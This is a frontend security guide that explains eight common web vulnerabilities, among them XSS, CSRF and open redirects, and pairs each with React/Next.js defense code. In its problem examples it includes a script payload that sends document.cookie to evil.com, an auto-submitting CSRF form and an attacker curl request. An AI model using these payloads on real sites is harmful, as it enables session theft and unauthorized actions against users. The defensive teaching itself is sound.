Security
Frontend security vulnerabilities, attack vectors, and defense strategies
Security Troubleshooting
Frontend security is often overlooked, but the browser is a primary attack surface. This guide covers common security vulnerabilities and professional defense strategies.
1. Cross-Site Scripting (XSS)
Problem
Attackers inject malicious scripts into your application:
// Reflected XSS — user input rendered as HTML
function SearchResults({ query }: { query: string }) {
return <div dangerouslySetInnerHTML={{ __html: `Results for: ${query}` }} />;
// URL: /search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
}
// DOM-based XSS — manipulating DOM directly
document.getElementById('output')!.innerHTML = userInput; // Dangerous!Root Cause
- Using
dangerouslySetInnerHTMLwith unsanitized content - Direct DOM manipulation with
innerHTML - Rendering user input without escaping
- Third-party scripts with access to the page
Solution
React auto-escapes by default — leverage it:
// ✓ Safe — React escapes the string
function SearchResults({ query }: { query: string }) {
return <div>Results for: {query}</div>;
// <script> tags render as text, not executable code
}When HTML rendering is necessary, sanitize:
import DOMPurify from 'dompurify';
function RichContent({ html }: { html: string }) {
const sanitized = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}Content Security Policy (CSP):
<!-- Strict CSP — blocks inline scripts and unauthorized sources -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self';
frame-ancestors 'none';
">// Next.js CSP headers
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
].join('; '),
},
];2. Cross-Site Request Forgery (CSRF)
Problem
An attacker tricks a user's browser into making authenticated requests:
<!-- On attacker's site -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Or -->
<form action="https://your-app.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="true" />
</form>
<script>document.forms[0].submit();</script>Solution
CSRF tokens (server-side):
// Server generates token per session
// Client includes token in requests
async function submitForm(data: FormData) {
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content');
await fetch('/api/submit', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken ?? '',
'Content-Type': 'application/json',
},
credentials: 'same-origin',
body: JSON.stringify(data),
});
}SameSite cookies:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly; Path=/Check Origin/Referer headers on the server for state-changing requests.
3. Sensitive Data Exposure in Client-Side Code
Problem
// ✗ API keys in client-side code
const API_KEY = 'sk-live-abc123def456';
fetch(`https://api.payment.com/charge?key=${API_KEY}`);
// ✗ Secrets in environment variables exposed to client
const secret = process.env.NEXT_PUBLIC_SECRET_KEY; // "NEXT_PUBLIC_" makes it client-side!
// ✗ Sensitive data in localStorage
localStorage.setItem('authToken', jwt);
localStorage.setItem('creditCard', '4111-1111-1111-1111');Solution
Never store secrets in client-side code:
// ✓ Use server-side API routes as proxy
// app/api/payment/route.ts (server-side)
export async function POST(request: Request) {
const { amount, token } = await request.json();
const result = await fetch('https://api.payment.com/charge', {
method: 'POST',
headers: {
Authorization: `Bearer ${process.env.PAYMENT_SECRET_KEY}`, // Server-only
},
body: JSON.stringify({ amount, token }),
});
return Response.json(await result.json());
}Secure token storage:
// ✓ Use httpOnly cookies for authentication tokens (set by server)
// The browser sends them automatically, JavaScript can't access them
// If you must use client-side storage (e.g., for SPAs):
// - Use sessionStorage (cleared on tab close) over localStorage
// - Never store payment data or PII in browser storage
// - Consider in-memory storage for highly sensitive tokensAudit client bundle for leaked secrets:
# Search for potential secrets in built output
npx secretlint "dist/**/*"
# Or use git pre-commit hooks
npx husky add .husky/pre-commit "npx secretlint '**/*'"4. Insecure Third-Party Dependencies
Problem
- Supply chain attacks (malicious package updates)
- Typosquatting (e.g.,
react-domvsreactdom) - Dependency confusion attacks
- Compromised maintainer accounts
Solution
Lock file integrity:
# Verify package integrity
npm audit signatures
# Use lock file for deterministic installs
npm ci # Fails if lock file is out of syncSubresource Integrity (SRI) for CDN scripts:
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
></script>Private registry for internal packages:
# .npmrc — prevent dependency confusion
@mycompany:registry=https://npm.mycompany.com/
//npm.mycompany.com/:_authToken=${NPM_TOKEN}Socket.dev / Snyk for real-time supply chain monitoring.
5. Clickjacking — UI Redress Attacks
Problem
Your site is embedded in a malicious iframe that overlays invisible elements to trick users into clicking something different than what they see.
Solution
Prevent framing:
// HTTP Headers
{
'X-Frame-Options': 'DENY', // Legacy browsers
'Content-Security-Policy': "frame-ancestors 'none'" // Modern browsers
}If embedding is needed, restrict to trusted origins:
Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com6. Insecure Communication
Problem
- Mixed content (HTTP resources on HTTPS page)
- API calls over HTTP
- WebSocket connections without TLS
- Missing security headers
Solution
Enforce HTTPS everywhere:
// Security headers
const headers = {
'Strict-Transport-Security': 'max-age=63072000; includeSubDomains; preload',
'X-Content-Type-Options': 'nosniff',
'X-Frame-Options': 'DENY',
'Referrer-Policy': 'strict-origin-when-cross-origin',
'Permissions-Policy': 'camera=(), microphone=(), geolocation=(self)',
};Detect and block mixed content:
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">7. Client-Side Validation Bypass
Problem
// Client-side only validation — easily bypassed via DevTools or curl
function handleSubmit(data: FormData) {
if (data.amount > 1000) {
alert('Amount too large');
return;
}
fetch('/api/transfer', { method: 'POST', body: JSON.stringify(data) });
}
// Attacker: curl -X POST /api/transfer -d '{"amount": 999999}'Root Cause
Client-side validation is for UX, not security. Any client-side check can be bypassed.
Solution
Always validate on the server — client validation is for UX only:
// Shared validation schema (used both client and server)
// lib/schemas.ts
import { z } from 'zod';
export const transferSchema = z.object({
amount: z.number().positive().max(10000),
recipient: z.string().uuid(),
note: z.string().max(200).optional(),
});
// Client — for instant feedback
const { register, handleSubmit } = useForm({
resolver: zodResolver(transferSchema),
});
// Server — for actual security
export async function POST(request: Request) {
const body = await request.json();
const result = transferSchema.safeParse(body);
if (!result.success) {
return Response.json({ errors: result.error.flatten() }, { status: 422 });
}
// Process validated data
await processTransfer(result.data);
}8. Open Redirect Vulnerabilities
Problem
// Attacker crafts URL: /login?redirect=https://evil.com/phishing
function LoginPage() {
const redirect = new URLSearchParams(location.search).get('redirect');
async function handleLogin(credentials: Credentials) {
await login(credentials);
window.location.href = redirect ?? '/dashboard'; // Redirects to attacker's site!
}
}Solution
Validate redirect URLs:
function safeRedirect(url: string, defaultUrl = '/dashboard'): string {
// Only allow relative URLs or same-origin
try {
const parsed = new URL(url, window.location.origin);
if (parsed.origin !== window.location.origin) {
return defaultUrl; // Block external redirects
}
return parsed.pathname + parsed.search;
} catch {
return defaultUrl;
}
}
// Usage
window.location.href = safeRedirect(redirect);Summary: Frontend Security Checklist
| Vulnerability | Defense |
|---|---|
| XSS | CSP headers, DOMPurify, avoid innerHTML |
| CSRF | CSRF tokens, SameSite cookies |
| Data exposure | Server-side API proxy, httpOnly cookies |
| Supply chain | Lock files, npm audit, SRI, private registry |
| Clickjacking | X-Frame-Options, frame-ancestors CSP |
| Mixed content | HSTS, upgrade-insecure-requests |
| Validation bypass | Server-side validation (Zod shared schemas) |
| Open redirect | URL origin validation, allowlist |
| Auth tokens | httpOnly secure cookies, not localStorage |